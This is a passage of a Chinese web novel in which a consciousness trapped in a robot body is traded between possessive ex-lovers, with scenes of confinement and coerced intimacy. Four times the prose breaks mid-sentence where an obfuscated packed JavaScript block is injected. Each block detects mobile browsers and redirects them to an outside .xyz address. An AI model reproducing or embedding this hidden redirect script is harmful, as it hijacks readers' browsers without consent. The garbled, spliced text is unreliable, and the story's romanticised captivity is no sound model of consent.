两人对这个游戏都不陌生，很自然地联想到戎雪岚的第一任‘恋人’，宗政竺。 只可惜在知道双方和平分手之后，这件事情就不了了之，对于戎雪岚之后的恋人而言，宗政竺实在是最不起眼的那个。 对方会忽然发疯做出这种事，显然在两人意料之外。 依照坞修和凌宜对戎雪岚的了解，宗政竺这件事显然在对方的意料之外，这也意味着对方绝不是自愿的，依照戎雪岚的能力，只要坞修和凌宜能够为对方找到一个突破口，那么对戎雪岚而言，出逃这件事并不困难。 * 宗政竺平静的生活并没有维持多久，很快，他的门铃被人按响。 打开监控，容元洲的面孔出现在宗政竺视野里。 “开门！宗政竺，我知道你在里面，你有本事把戎雪岚藏在这里，你有本事开门啊！” “别躲在里面不出声，我知道你在家！” 宗政竺视线一沉，没等他用机器人把容元洲轰走，就看见戎雪岚的身影走到门口，大概是听见了门铃的动静打算查看。 几乎是立刻，他顾不上和戎雪岚那莫名其妙的别扭，拉开房门：“站住。” 戎雪岚顿住脚步，回头看他：“怎么了？” “外面的事情我会处理，不用你管。现在回去你的房间。” 这句话出口，不知道是不是机器人身体的原因，宗政竺总觉得对方的瞳色一瞬间显得非常冷漠。 “你想限制我和外界的联系吗？” 宗政竺：“……” 他站定，不知道是不是容元洲就在门口的原因，他忽然不想掩饰什么，道：“没错。难道不明显吗？” 戎雪岚：“既然不相信我，认为我随时会走，把我强留在你身边有什么意义？” 宗政竺原本脚步已经走向门口，闻言半路折回戎雪岚身前：“我不在乎这件事有没有意义，只要你在我身就足够了。” 说完，他也没管戎雪岚，打开了门。 容元洲的脸一瞬间出现在宗政竺眼前。 和克己沉稳的宗政竺不同，容元洲穿着一身骚包的红衣服，耳朵上打着好几个耳钉，戎雪岚之前耳朵上也有耳洞，就是和容元洲在一起之后打的。 不过和容元洲分手之后他再也没戴过耳钉，但不知道是不是仿生体体质原因，先前打的耳洞一直没有愈合，但由于对戎雪岚的生活并没有什么影响，他也就随它去了。 容元洲见大门一打开，甚至没来得及朝宗政竺看上一眼，就迫不及待地朝里面探头探脑，可惜迅速被宗政竺整个人挡住。 他终于将视线移向宗政竺，满脸不耐：“你在吸引我的注意？” 宗政竺面上的表情没有丝毫变化，看得出来早就习惯容元洲嘴上每个把门的性格：“离开我的家，这句话我不会说第二次。除非你想看到治安官来找你。” 容元洲露出一个不屑的表情：“就凭那群饭桶。” “你……” 就在宗政竺皱眉期间，容元洲瞅准一个时机，立即通过他和门之间残留的缝隙挤了进来。 一瞬间，容元洲就顿住，忽然他笑了起来：“瞧瞧我发现了什么？” 他走到戎雪岚身边，贴近他的面孔，脸上虽然带着笑，瞳孔却是冷的。 “我怎么在你家里，找到我的小雪了呢？” 宗政竺隔开戎雪岚和容元洲：“这是我的家庭机器人，这里没有你的小雪，最后提醒你一句，容元洲，不要在我家发疯。” “你的家庭机器人？”容元洲重复了一遍，“但他看起来好像认识我啊。” 宗政竺只愣了短短一瞬，他的面色立即冷了下来：“不要在这里做梦，滚开。” 容元洲并没有管宗政竺，他的视线一直停留在戎雪岚身上：“怎么，你还想背叛我第二次吗？戎雪岚，现在回来我就原谅你。” 宗政竺的脸色完全冷了下来，他将戎雪岚完全挡在自己身后：“我说过了，这里没有你的戎雪岚。” 容元洲眯起眼，轻佻地打量着宗政竺，忽然笑道：“当时不是你把戎雪岚送给我的吗？现在又来装什么深情？” “既然被我捡回去、归我养，那就是我的东西，不知道你什么时候可以认清这点呢？” 宗政竺没有被激怒，听见容元洲的话，他反而让开身位：“那你就看看他愿不愿意和你回去吧。” 于是容元洲的视线落到戎雪岚身上。 戎雪岚下意识就像移开视线，好在他还记得自己现在的身份是宗政竺的机器人。 相比起宗政竺，虽然他也疯了，但比起睚眦必报的容元洲……是的，容元洲说什么原谅，戎雪岚根本一个字都不相信。 连在游戏里赢他一次，都被连着追杀一个月甚至还不解气，调查了戎雪岚现实世界的身份准备找他算账，却没想到戎雪岚就在他身边，于是被迫以身还债。 他真的没蓄意勾引，完全是容元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656098|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲不钓也上钩。 至于容元洲口中的背叛……戎雪岚认为根本没有这么严重，他以为双方心知肚明就是玩玩，于是在找到下一任目标之后火速踹了容元洲。 没想到容元洲的小气到达新高度，竟然以“就算要分手也应该他先提”为由拒绝接受戎雪岚的分手申请。 为了防止被容元洲暗杀，戎雪岚选择不声不响直接落跑。 就是这样小气的容元洲。戎雪岚落到容元洲手里还能落得好吗？ 虽说宗政竺有点大病，甚至还在容元洲不知道的情况下莫名其妙发疯了，但好歹他的报复心没有容元洲这么强烈……应该吧？ 总之，就现在的局势而言，戎雪岚认为接受宗政竺的庇护并是什么坏事。 “这位先生，我们之间是不是有什么误会呢？” 戎雪岚礼貌微笑，一副完全不认识对方的模样。 容元洲冷笑一声：“你别给我装。你以为我看不出来你装模做样吗？怎么，不想跟我回去，你就愿意被他关在这里？” “……”戎雪岚被容元洲的话戳中了，他当然不想，可惜这两个人里面没一个靠谱的，他只能矮个里面挑高个。 但他依然保持着伪装：“宗政竺先生是我的恋人，我不会离开他。” 容元洲眯眼，忽然手指撵上戎雪岚耳垂。 他的指尖捻得很慢，该是用力的，但不知道是不是因为机器人没有做痛觉交互的原因，戎雪岚并没有感受到痛觉，反倒有些许痒意。 戎雪岚没有拍开他的手，只是目光平静地看向对方。 半晌。 容元洲转向宗政竺，冷笑：“没想到你这种人真的会搞一个和真人一模一样的机器人，看来我还是低估了你的变态程度。” 宗政竺面不改色：“既然知道，还不滚。” “我不相信这样的机器人你只做了一个，再卖一个给我。” “……滚。别让我说第二遍。” 容元洲摸下巴，思考状：“你的机器人没有上编号吧？” 宗政竺：“你想用这个威胁我？” 只可惜只要足够有钱或者有权，这种事情是非常好解决的。他不信容元洲不知道。 “不不不，既然没有上编号，就说明是未在编的机器人，如果我向上面举报这个机器人产生自主意识了呢？你认为这件事是你可以一手遮天的吗？” 容元洲弯起双眼，看起来像一只狡诈的狐狸。 宗政竺面色一冷：“……” 但他知道，容元洲说的是事实。 如果容元洲真的这么举报，就算他能够证明这件事情是子虚乌有，但戎雪岚的机器人身体绝对会被拆解研究。 而他不可能让这种事情影响戎雪岚，也就是说，他必然会舍弃这具机器人身体，但如果是这样，他的手上就没有能够困住戎雪岚的身体。 留住戎雪岚，让他成为研究室里的研究物，还是放戎雪岚自由？ 宗政竺会选后者。 就算再难，他也可以把逃走的戎雪岚抓回来。 但伤害戎雪岚的事他做不到。 16. 无情之人 “……你想要什么？” “很简单。我要他。” 宗政竺断然拒绝：“不可能。” 如果真的要把戎雪岚给容元洲，他还不如让放戎雪岚自由。就算是竹篮打水，他也绝不会给他人做嫁衣。 “别急啊，”容元洲笑了笑，“我还没说是怎样的计划呢。又不是将你的小机器人一分为二，不如这样，一三五，在你这，二四六，在我这，还有一天就算是我们两个人同时，如何？” “先别急着拒绝，”似乎料到宗政竺打算说什么，容元洲继续道，“别跟我说你可以每时每刻都在他身边，如果你不在，你的小机器人跑了怎么办？又或者……其他觊觎的人找上门怎么办？” 容元洲的目光落在戎雪岚身上：“……你又不是不知道，我们的小雪最是多情，而多情又恰似无情。” 宗政竺神色莫名一松，只是仍然不愿意松口。 于是容元洲决定为这局面添把火：“你不敢吗？还是说，你担心你的小机器人会被我拐走呢？” “我没有什么不敢的。”宗政竺沉默了一番，率先走到书房，“进来详谈。” …… 容元洲和宗政竺进入书房详谈，明明这件事与戎雪岚有关，却将戎雪岚关在门外。 戎雪岚百无聊赖地坐在沙发上，眼神却已经控制不住向紧闭的书房飘去。 【小雪？听得见吗？】 戎雪岚一愣。 那声音像是从他脑子里发出来的，戎雪岚意识到什么，抬脚走进卫生间。 “坞修？” 【是我。我和凌宜发现你不在之后就着手研究通道，别着急，现在宗政竺设立的通道已经被打开了，你随时可以通过通道回来。】 戎雪岚沉吟片刻，能够脱身，他反而不再着急。 “暂时我还不能回来。麻烦把这个通道掩饰起来，就当作什么事情都没有发生。我想看看宗政竺决定怎么处理我。” 【……】 坞修那边许久都没有回应，戎雪岚能够猜到恐怕凌宜正在和他商量。依照凌宜的性格当然不可能同意，那么就看坞修能不能说服她。 不知道过去多久，坞修的声音才再度出现。 【抱歉，我和凌宜商量了一下，耽误了点时间。通道我们会掩饰好，绝不会让宗政竺发现，你随时可以脱身。……凌宜让我和你说，玩够了记得回家。】 “……嗯，我知道的。” 通话掐断。 有了凌宜和坞修的帮助，戎雪岚的心略微安定下来。拥有底牌之后，这场局势的把控者就不再是宗政竺等人，而是戎雪岚。 正在此时，卫生间的门被人敲响。 “……小雪，你在里面吗？” 是容元洲的声音。 戎雪岚一僵，有种被发现的心虚感，好在他及时调整，拉开门时，容元洲的口中还在嘀嘀咕咕：“难道宗政竺还给机器人的身体准备了排泄系统？真够变态的……” “你在说什么？” 迎上戎雪岚微笑的脸，容元洲耸耸肩，半点心虚也不见。 他朝戎雪岚摊开掌心：“跟我走吧，小雪，今天你是我的了。” 戎雪岚：“……” 戎雪岚的目光向远处眺望过去，宗政竺的身影隐在暗处，面容被阴影遮掩，看不清晰。 于是他收回视线。 宗政竺这个人，戎雪岚不知道应该怎么评价他，要说他很喜欢戎雪岚，可他却一次次将戎雪岚拱手相让，可要说他不喜欢戎雪岚，又是想要结婚又是忽然发疯搞囚禁的…… 叹了口气。戎雪岚已经跟随容元洲上了车。 现在他的心力从宗政竺身上收回，容元洲也不是个省油的灯。 上了车，容元洲果然再也维持不住在宗政竺面前的模样。 他先是钳住戎雪岚的下巴，左看右看，最后发出一声冷笑：“好样的，背叛我跟了柏虞那个混蛋之后，是不是又把他给甩了？” 他的鼻子抵住戎雪岚耳垂，戎雪岚这具身体，凑近了还能细嗅到皮肤下的松脂气味。 “真是头养不熟的狼。你这头小雪狼现在又是怎么被宗政竺抓住，关在这种身体里，搞得这么狼狈？” 戎雪岚还想挣扎一下：“……容先生，我听不懂你在说什么。” 容元洲笑了：“听不懂？现在还跟我装？你什么样我还能不知道，少来。” 戎雪岚：“……” 容元洲这么说，戎雪岚就知道对方已经能够确定他就在这具身体里。 但戎雪岚不明白，容元洲究竟是怎么看出来的？ 戎雪岚这么疑惑，也就这么询问了。 容元洲却噗嗤一声笑了出来：“没灵魂的东西不过是个空壳，有灵魂的东西就不一样了。” 戎雪岚摇摇头，无奈：“我不理解，你就一点都不害怕吗？” 容元洲不屑地笑了下：“如果不是你在这里面，你以为你还能站在这里和我说话吗？” 戎雪岚很想抽抽嘴角，只可惜机器人的身体能做出的表情实在有限：“……你的霸总瘾发作了？” 容元洲一顿：“我还没找你算账呢，你倒是先教训上我了？” “算账？你找我算什么帐？我不是让你甩我了吗？” 戎雪岚无辜道。 容元洲眯眼：“小爷我长这么大，你还是第一个敢甩我的人。什么让我甩你，你以为谁都会自欺欺人吗？” 戎雪岚：“……”小气鬼。 “那你想怎样？” 容元洲视线下移，落在戎雪岚的唇上，见状，戎雪岚下意识用手挡住，他警惕：“你不会连机器人都不放过吧。” 容元洲挑眉：“我在你眼里就这么饥不择食？” 戎雪岚的手还是没放下来：“谁知道呢。” 容元洲哼笑一声：“我对你这具不软不硬的身体可没兴趣。还是等你回到自己身体，再……我只要求你重新和我在一起，这一回我要先甩你。” 戎雪岚：“……幼稚。” 容元洲抽身离开，虽说这车并不需要他亲自驾驶，但他的手还是装模做样地放在控制屏上：“这是尊严问题。” 容元洲带来的压迫不再，戎雪岚才回过味来：“……你刚才，该不会是在跟我求复合吧？” 容元洲炸了：“你说什么傻话？你是说我被你甩了还对你余情未了吗？你当自己是魅魔吗？” 三连问，看得出来容元洲跳脚了。 戎雪岚耸肩：“不是就好。想找人复合还这态度，那才真是没救了。” 容元洲：“……” 容元洲沉默，两人一路无言，直到下车之后，容元洲气势汹汹地将戎雪岚关在了一间拥有奢华大床的房间里。 自己不知道干什么去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656099|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容元洲和宗政竺不一样，并没有通过网络限制戎雪岚，因此戎雪岚可以在容元洲的家庭内网任意游走。 比如……窥探容元洲的聊天记录。 【我是容元洲：你不是说，我只要说要再甩他一次就能复合吗？】 【我是容元洲：你在骗我？】 【狗头军师：这个。容少，我方便问一下你是怎么说的吗？】 【我是容元洲：能怎么说？我就说要他和我复合我要再甩他一次啊。】 【狗头军师：……】 【我是容元洲：有什么问题？】 【狗头军师：没问题。方便问一下对方是什么反应吗？】 【我是容元洲：他问我是不是想求复合？】 【狗头军师：那您怎么说？】 【我是容元洲：我当然是不承认啊！顺便嘲讽了一下让他别这么自恋。】 【狗头军师：…………】 【我是容元洲：为什么一直发省略号】 【狗头军师：我觉得您还是换个人喜欢比较好。】 【我是容元洲：谁跟你说我喜欢他了？】 【狗头军师：那您找我的意义是？】 戎雪岚看笑了，从容元洲和这位狗头军师的对话中，不难发现双方口中的人是他。 但容元洲的嘴硬还真是超乎想象。 余情未了吗…… 不过戎雪岚并不准备复合。原因无他，因为他在容元洲的身上没办法学到那种‘爱’。 戎雪岚认为，自己或许应该找一个理想的恋人，比如拥有健康的爱人能力的那种。 透过容元洲的电子设备，他能看到容元洲打结的眉毛，完全彰显着容元洲的困惑和纠结。 戎雪岚没再看，而是顺着网线偷偷回到机器人的身体。 …… 虽说容元洲将戎雪岚带了回来，但直到饭点，容元洲才敲响戎雪岚的房门。 戎雪岚无语：“你是不是忘了我现在的身体不用吃饭？” 容元洲理直气壮：“我要吃饭，你去给我做饭。” 戎雪岚：“滚。我又不欠你的。” 容元洲得意：“谁说你不欠我的，别忘了你还要用我这里的电。” 说到这个，戎雪岚忽然想到一个最关键的问题：“你就这样把我带出来，难道不担心我逃走吗？” “逃走？你还能怎么逃走，难道是顺着网线？你还有这样的能力？” 虽然戎雪岚的确有这样的能力，但是这种事情怎么可能真的说出口呢？ 戎雪岚：“宗政竺没和你说过吗？这具身体需要家庭内网才能运转，但是既然我被他送给了你，这就说明他已经取消了这个限制。” “也就是说，只要有网络，我哪里都能去。” 容元洲想了想：“好像他是这么说过，那又怎么了？我又没说不带你出去。” 戎雪岚：“……” 见戎雪岚没表示，容元洲表情夸张：“不是吧？我愿意带你出去你还想着逃走吗？我又不是宗政竺那个冷冰冰毫无人情味的家伙，有什么事情都可以商量，你难道更愿意和他那种人呆在一起吗？” “和这没关系吧？如果我想要离开，你对我再好也没有用。” 容元洲面上的笑容渐渐淡了下来：“……是啊，我怎么忘了呢，你就是这么无情的人。只有采取强硬的手段才能留住你啊。” 17. 你有男友？ ……最近是什么日子。 前男友大团结吗？ 戎雪岚看着自己眼前的人，莫名感到有些匪夷所思。 容元洲再将自己带到某处上流社会的宴会上，人就不知道消失到哪去了。 身为曾经被容元洲带到这些场合过的人，戎雪岚对周围那些视线非常熟悉，再心里骂了几遍容元洲之后就能够轻易忽略过去。 直到，柏虞出现在戎雪岚面前。 柏虞是戎雪岚在容元洲之后的恋人，他有白月光。 并不是典型意义上的替身，事实上，戎雪岚和柏虞的白月光不仅不相似，甚至可以说是完全相反的两个人。 戎雪岚和柏虞之间，硬要说应该只是互取所需。 戎雪岚向容元洲提出分手之后需要一个能够阻碍容元洲的庇护，而他恰巧能够成为柏虞的恋爱军师。 就像戎雪岚窥见的容元洲和狗头军师之间的关系，只不过戎雪岚和柏虞的关系更加亲密一些，且柏虞也并不像容元洲一样是一个又自大又臭屁的家伙。 ……虽然说两人因为某些原因不得不伪装情侣，但柏虞实际上是唯一一个和戎雪岚毫无感情牵扯的人。 “你……和容元洲复合了吗？” 柏虞皱着眉，表情看起来有些担心。 “那天你突然走后……我找过你，但是……我很担心你。” 看见柏虞的表情，戎雪岚心中的恶趣味一闪而逝。 他歪头，语气平静又略带困惑：“先生您是？” 柏虞一愣，难以置信地皱起眉：“我是柏虞啊，你不认识我了吗？” “您好，柏虞先生，实在抱歉，我的数据库里没有您的信息。” “……这是什么意思？”柏虞情绪激动地握住戎雪岚双臂，甚至双目翻红，看起来好像要哭了。 戎雪岚的脸上没有任何表情，甚至眉毛也没有皱起，还没等他说话，一双手拉开柏虞，容元洲姗姗来迟。 “意思就是他不认识你。柏虞，还不放开？” 柏虞拍开容元洲的手，意识到自己的失态，他看向容元洲：“你对他做了什么？” 容元洲冷笑一声：“我可什么都没对他做。他不是你弄丢的吗？你再好好看看，他是你的前男友吗？” 柏虞一怔，才终于意识到‘戎雪岚’身上的不同之处。 他的五官虽然生动，但却非常僵硬，行动间不难看出一种僵硬的人机感。 只是……尽管如此，柏虞对上对方那双璨金的瞳孔，心中却忍不住感到莫名的熟悉。 如果是作为一个机器来说……对方看起来也未免太像人了吧。 容元洲才不管柏虞心里是怎么想的，在他看来，戎雪岚既然并没有向柏虞揭穿自己的身份，就意味着对方并不想被柏虞知道。 就算容元洲对感情的事再不敏感，也没有到情敌面前揭喜欢的人老底的道理。 “走了。”容元洲对着戎雪岚说道，伸手抓住戎雪岚的手腕。 戎雪岚：“……”容元洲才来了多久就要走了，既然是这样，他来这里的意义难道就是来露个脸吗？ 不过他并没有反抗，而是任由容元洲将他拉走。 毕竟他现在可是容元洲和宗政竺共有的机器人啊。 柏虞看着逐渐远去的身影，眉头微蹙，他总觉得有什么不对的地方。 容元洲……对待这个机器人的态度是不是有点太好了？ …… 戎雪岚被拉回容元洲的房间之后就挨了批斗。 容元洲双手抱臂，眯眼打量着戎雪岚：“你是不是想像之前一样，趁我不在，偷偷和柏虞暗通款曲？” 戎雪岚在容元洲的房间里倒是比他本人更加自在，他姿态随意地坐在容元洲床上：“这是你的错。谁让你不能无时无刻都在我身边呢？” 容元洲：“……” 他的表情一瞬间变得非常怪异。 “你知道自己在说什么吗？” 不过他很快摇头，“不对，你知道自己在说什么。或者说，这种暧昧不清的话就是你最擅长的事情。” “所以，你这是在邀请我把你关起来吗？”容元洲站了起来，他居高临下地看着戎雪岚。 “把我关起来你就能无时无刻都在我身边吗？”戎雪岚笑了下，又自己回答，“不能吧？” 容元洲看着他，勾了勾唇，“我今天就让你知道能不能。” “你想和我睡？用这具身体吗？”戎雪岚的姿态很轻佻。 容元洲摇头：“我和宗政竺有约法三章，不会碰你的这具身体。但是……” 他的指腹轻轻蹭了蹭戎雪岚的脸颊：“不碰这具身体就能让一个人神魂颠倒的方法有很多种。” * 任由戎雪岚被容元洲带走，是因为宗政竺早就料到自己会被松裕盯上。 通讯设备里助理的电话打了一遍又一遍，集团的股票一片飘绿，很明显受到那一家的打压。 尽管和连绛之前有过约定，不过宗政竺知道连绛这个人绝对靠不住，一旦松裕能给出更大的好处，她就会轻而易举反水，因此戎雪岚并没有让连绛过多知道这件事的内情。 至少他们绝不会这么大方想到，自己愿意将戎雪岚拱手让人。 但就算把人放在容元洲那里，这件事情也隐瞒不了多久。 不过…… 宗政竺知道戎雪岚早已有逃脱的办法。 如果没有事先为自己留好底牌，戎雪岚的态度绝不会这么松弛，毕竟他看起来似乎更不愿意跟容元洲。 将思绪抽离，宗政竺投身到剩下的工作。 松裕搞出来的事情对他的公司还是颇有影响，但至少短期之内不会出现太大问题。 * 可怕。 戎雪岚整个人从失神中回过神来。 这就是他不愿意和容元洲一起的原因。 容元洲折腾人的手段实在太多，如果戎雪岚现在的身体不是机器人而是仿生人，恐怕现在已经大汗淋漓，魂都飞了。 他的视线终于聚焦，落在容元洲的身上。 “……玩得真变态。” 容元洲却将其是做夸奖，长眉一挑：“那你爽了，岂不是更变态？” 戎雪岚扭过头，不愿意搭理他。 容元洲却不愿意就这样放过戎雪岚，他推了推戎雪岚：“重新和我在一起呗。” 戎雪岚：“……” “我没说过吗？我有男朋友了。” 容元洲：“？” 他刷一下站起来，被单从他身体上滑下来，露出蜜色肌肤上的些微红痕。 容元洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656100|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“…………戎雪岚，你耍我是吧？” 戎雪岚无辜：“我耍你什么了？” “你……你有男朋友！你居然有男朋友？！” 戎雪岚：“男朋友而已，你不也是我前男友吗？” “戎雪岚你这个人渣。我都跟你这样那样了，你居然……” 戎雪岚越听越觉得事情不对头：“你没给我说话的空间啊。我还什么都没说你就强制，我能说什么？” 容元洲不服：“你可以告诉我你有男朋友啊。那样我就会……” “那样你就会停手吗？” 容元洲可疑地沉默了。 半晌，他勉强接受这个事实，眼中闪过一道杀意：“你男朋友是谁？” 戎雪岚：“你不会要做什么不好的事情吧？” “怎样算不好？”容元洲瞪了戎雪岚一眼。 不过二人的交流立即被人打断。 容元洲的通讯设备嘀嘀嘀叫个不停，他拿起来一看，竟然是柏虞。 他下意识皱眉。 虽说他的死对头是宗政竺，但柏虞他也并不喜欢。 这人嘴上对自己的白月光爱得人尽皆知要生要死，结果私下里却把他的男朋友拐走。 可见他此前的深情不过是一种伪装，这个人实在虚伪得可以。 加上两人平常并不联系，现在柏虞忽然联系他，容元洲几乎立即联想到宴会上柏虞的眼神。 他冷笑一声，接起了柏虞的通讯。 故意拉低领口，露出脖子上的红痕。 柏虞的面孔出现在3D投屏上。 他并没有注意容元洲的动作，而是第一时间向着容元洲的身后看去，那种殷切究竟是在找谁，容元洲一清二楚。 他几乎立即冷笑一声，这才让柏虞失望地收回视线。 当柏虞的视线落在容元洲脖子上的红痕时，他瞳孔骤缩：“你这个禽兽！” 见柏虞发现自己刻意裸露的地方，容元洲眼中闪过一缕得意，他道：“什么禽兽？不被爱的才是小三。” 在一旁听了全程的戎雪岚：“……” 所以是在什么处境下说出这种耳熟的话的？ 柏虞的面色非常难看，但他依旧按耐住怒意：“把他给我，条件你开。” “条件我开？”容元洲咀嚼着这四个字，“不应该是我开，应该是你开。他在你心里价值几何，就看你能给出多少。” 柏虞回答得毫不犹豫：“他在我心里胜过任何。” 容元洲嗤笑：“漂亮话谁不会说？你倒是拿出实际来。” 聪明人绝不会让对方看清自己的底细和报价，但柏虞这件事本就没有多余选择，因此就算容元洲选择坐地起价，柏虞也毫无办法。 说完，容元洲将视线落在身边：“你不说点什么？” 戎雪岚看着摄像头被移到自己的位置，表情略带无辜：“容先生在说什么？” 容元洲一看就知道戎雪岚又在装，不过他没有拆穿戎雪岚的想法，只哼笑一声将摄像头调回自己，对柏虞说道：“人也给你看过了，怎么样？” 柏虞沉声：“条件你开，我什么都答应。” 容元洲眼中的狡诈一闪而过：“我要你和应星河在一起。” 柏虞猛地抬眸：“你明知道我和他什么都没有！” 18. 人机之恋 “什么都没有不是你我相信就可以了，你得让其他人相信啊。” 容元洲晃着手指，摇头。 柏虞的眼神已经急急忙忙向容元洲身后看去，看起来想证明自己并非那种三心二意之人。 但容元洲不仅没有再让他看戎雪岚一眼，反倒直接切断通讯，只留下一句：“我等着你的诚意。” ……该死的容元洲。 * 容元洲切断通讯，他将似笑非笑的目光落在戎雪岚身上。 “没想到柏虞对你还真够情深意重的，居然这么着急证明他和应星河什么关系都没有。” 戎雪岚先前一直躺在床上，闻言终于懒懒地支着手撑起头，看向容元洲：“和我有什么关系。我和你说过了，我和他之间只是假恋爱，是你自己不相信。” 之前那场磨难，容元洲一边拷问戎雪岚和柏虞的关系，一边任由他煎熬地证明自己和柏虞什么关系也没有。 容元洲走到戎雪岚身边坐下：“那我和你不是假恋爱吧？” 戎雪岚微微沉默着，没有说话。 “怎么，原来在你心里我和你是假恋爱吗？” 容元洲见状，不禁冷笑。 “……算了。我早就知道你是个没有心肝的。” 容元洲拉开门，他偏头：“我今晚不回来，回你自己的房间去。” 戎雪岚躺在床上，没有看容元洲离去的身影。 平生第一次，他产生了一种茫然的感觉。 通过这些人，学习人类的感情，真的是一种正确的选择吗？ 他们能教会他真正的爱吗？ 还是说，爱就是这样毫无理智？ 他不明白。在他和柏虞的相处中，从未感觉到柏虞喜欢自己，难道柏虞在他离开之后反而爱上了他记忆中的臆想的他？ 这听起来有些过分荒谬。 …… “松先生，还要继续吗？” 一个身穿黑西装的男人站在松裕身边，看着松裕电脑上显示的一片绿色，询问道。 这个人是连绛拨给松裕的，也是在对方的操作下，宗政竺的公司一路下跌，恐怕现在焦头烂额。 虽说没办法宗政竺家大业大，这种事情没办法动摇他的根本，但也应当足够作为他和他商谈的敲门砖。 “不，暂时维持，给宗政竺发去邀请。” 就在戎雪岚吩咐男人时，房间被人敲响，路易叼着一根棒棒糖：“松哥，宗政竺给你送了消息。” 松裕抬眼。 没想到宗政竺竟然比他还快上一步。 * 宗政竺已经点好餐，而松裕姗姗来迟。 “没想到你居然会先找我。我还以为这个时间你一定忙得焦头烂额。” 松裕来开椅子坐下，说的话毫不客气。 宗政竺慢条斯理地为松裕倒了杯酒，推给他，才开口：“与其治标不治本为难自己，不如直击源头。宋先生又是为什么要为难我呢？” “不是我为难你，是你为难我。”松裕端起宗政竺倒的酒，晃了晃，没喝。 “松先生这话我就听不懂了。我什么时候为难过松先生？”看着宗政竺面上的不解，松裕冷嗤一声，装模做样。 “我的男朋友丢了，不知道宗总对这件事有什么看法？” “男朋友丢了，那就换一个。反正以松先生的身家地位，不至于连一个男朋友都换不起吧？” 宗政竺将牛排分成小小的小块，但并没有吃，看起来只是单纯地将其切割，不知道是为什么人做习惯了，还是简单宣泄某种情绪。 松裕笑了：“如果是和我分手了，那我也不追究了。只可惜，他是被人偷走的。我听说宗总的家里有一具和我男朋友长得一模一样的机器人。” 宗政竺没有丝毫被松裕戳穿的惊慌，他抿了口杯中红酒，神色淡淡：“长相相似也不是什么很稀奇的事情吧？说不定我就是喜欢这个长相呢。” “喜欢这个长相也没什么，”松裕微勾唇，然而下一瞬双目就泛冷：“可你说好巧不巧，怎么就被我发现宗总竟然和我男友，还有一段前缘呢？” “难道宗总要告诉我，你弄一个和我男友长相相似的机器人是为了缅怀前任？” 宗政竺波澜不惊，眉毛也没动一下：“那又怎样？这能说明什么问题？况且，宋先生又是怎么知道我有一个和你男友长相相似的机器人呢？” “宗总这是承认对我男友余情未了？那我是不是可以理解为，我男友的失踪和宗总有些关系呢？” 宗政竺放下刀叉，看向松裕：“欲加之罪，何患无辞？不如，就让你亲眼看看，我的身边有没有这样的机器人？” 松裕眯眼。 宗政竺这是什么意思？这种笃定的姿态，仿佛已经确幸自己没办法在他家找到戎雪岚。 如果是因为提前知道自己会发现他，从而将戎雪岚转移到其他地方…… 宗政竺应该知道，只要和他有关，松裕绝不会放过，他有什么自信松裕不会找到。 除非，戎雪岚真的不在他身边。 但可能吗？ 经受这样的损失，难道不是为了和戎雪岚重续前缘吗？他难道甘心就这样将戎雪岚拱手相让？ 松裕皱眉打量着微笑的宗政竺，忽然觉得自己有些看不懂他。 而这样的人，松裕所知还有一个。 他决定找她。 …… “所以，这就是你来找我的理由，就为了让我告诉你，宗政竺心里怎么想的？” 连绛挑眉。 这两日她非常忙。松裕倒是当上甩手掌柜，专心寻找戎雪岚，但连绛还需要处理家族那些对她不满的人，就算松裕自己愿意，但总有其他人不愿意。 “最主要的是，他有可能把戎雪岚放到哪去了。” 连绛若有所思：“最危险的地方就是最安全的地方。” “对宗政竺而言最危险的地方会是那里？” 连绛看他一眼：“对宗政竺来说，你只能算一个意外，如果没有戎雪岚，你和他之间恐怕没什么交集。对他而言最危险的，必然是和他敌对的人。” 松裕听着连绛的分析皱起眉：“你的意思是，他把戎雪岚放到他的死对头那？不是，这样的话他图什么啊？” 连绛思索：“不，促使他这么做的原因不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656101|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，甚至不在戎雪岚，而在你。” 